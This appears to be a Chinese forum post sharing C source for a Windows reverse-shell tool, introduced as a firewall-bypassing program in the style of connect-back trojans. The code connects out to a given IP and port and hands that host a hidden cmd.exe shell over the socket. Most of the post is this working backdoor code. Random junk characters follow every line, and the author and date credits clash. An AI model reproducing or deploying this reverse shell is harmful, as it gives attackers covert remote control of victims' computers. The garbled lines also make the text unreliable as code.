这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MP 8s}
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/* ============================== )jRaQ~Sm
Rebound port in Windows NT SY2((!n._
By wind,2006/7 !un_JZD
===============================*/ pQ+4++7ID
#include EmcwX4|
#include +(hr5
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#pragma comment(lib,"wsock32.lib") @L^30>?l
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void OutputShell(); _~ 7cn
SOCKET sClient; =j1Q5@vS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;\+A6(GX{
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void main(int argc,char **argv) rMUQh~a/
{ `qbsDfq@
WSADATA stWsaData; Tq >?.bq9
int nRet; JvLa@E)
SOCKADDR_IN stSaiClient,stSaiServer; :cTwp K
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if(argc != 3) AyZBH&}RZ
{ +wr
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printf("Useage:\n\rRebound DestIP DestPort\n"); 9D mQ
return; ~E7=c3:"
} r+Y]S-o:
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WSAStartup(MAKEWORD(2,2),&stWsaData); tZY(r
{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q|ZQsFZ
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stSaiClient.sin_family = AF_INET; Ibl==Irk
stSaiClient.sin_port = htons(0); '^M3g-C[Jg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b*qC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {R.@EFkZ
{ *,__\/U98
printf("Bind Socket Failed!\n"); ^)/oDyO
return; eTa[~esu.
} %"RgW\s[R
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stSaiServer.sin_family = AF_INET; L~(`zO3f
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )u'("
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $f<R j/`&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *gzX=*;x+?
{ K29KS)~;W
printf("Connect Error!"); Ib8xvzR6I&
return; 7: T 5P
} BI6o@d;=4
OutputShell(); =Wk!mGc
} u7<s_M3%N
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void OutputShell() pfvNVu
{ |+i?FYA\
char szBuff[1024]; dmD':1
SECURITY_ATTRIBUTES stSecurityAttributes; wXsA-H/`
OSVERSIONINFO stOsversionInfo; QFf lx
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #S4{,
STARTUPINFO stStartupInfo; #fYz367>
char *szShell; /CN^">|_
PROCESS_INFORMATION stProcessInformation; cB7=4:U
unsigned long lBytesRead; } Pc6_#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `795K8
stSecurityAttributes.lpSecurityDescriptor = 0; QJ
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stSecurityAttributes.bInheritHandle = TRUE; P
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); scUWI"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {N$G|bm]u<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y&5h_3K;<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '&}B"1
stStartupInfo.wShowWindow = SW_HIDE; S<LHNZu|^A
stStartupInfo.hStdInput = hReadPipe; 5X-cDY*|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `7|v
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GetVersionEx(&stOsversionInfo); =`rESb[
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switch(stOsversionInfo.dwPlatformId) L+s,,k
{ Os1(28rl
case 1: /5_!Y>W
szShell = "command.com";
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break; DY{JA
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default: xFS`#1
szShell = "cmd.exe"; dYJW`Q;j.|
break; mOyBSOad4
} R28h%KN
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /cDla5eej
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send(sClient,szMsg,77,0); 8<6;X7<-
while(1) */RtN`dh
{ |k> _
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !T|X/BR
if(lBytesRead) (a1 s~
{ Z%MP:@z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y)!K@
send(sClient,szBuff,lBytesRead,0); -q\1Tlc]3
} BaTE59W
else NQ%lwE~
{ SVaC)O(
lBytesRead=recv(sClient,szBuff,1024,0); z&d&Ky
if(lBytesRead<=0) break; >+fet ,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H5=-b@(
} }dE0WJcO
} ;e_n7>'#%
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return; R b 6`k^
}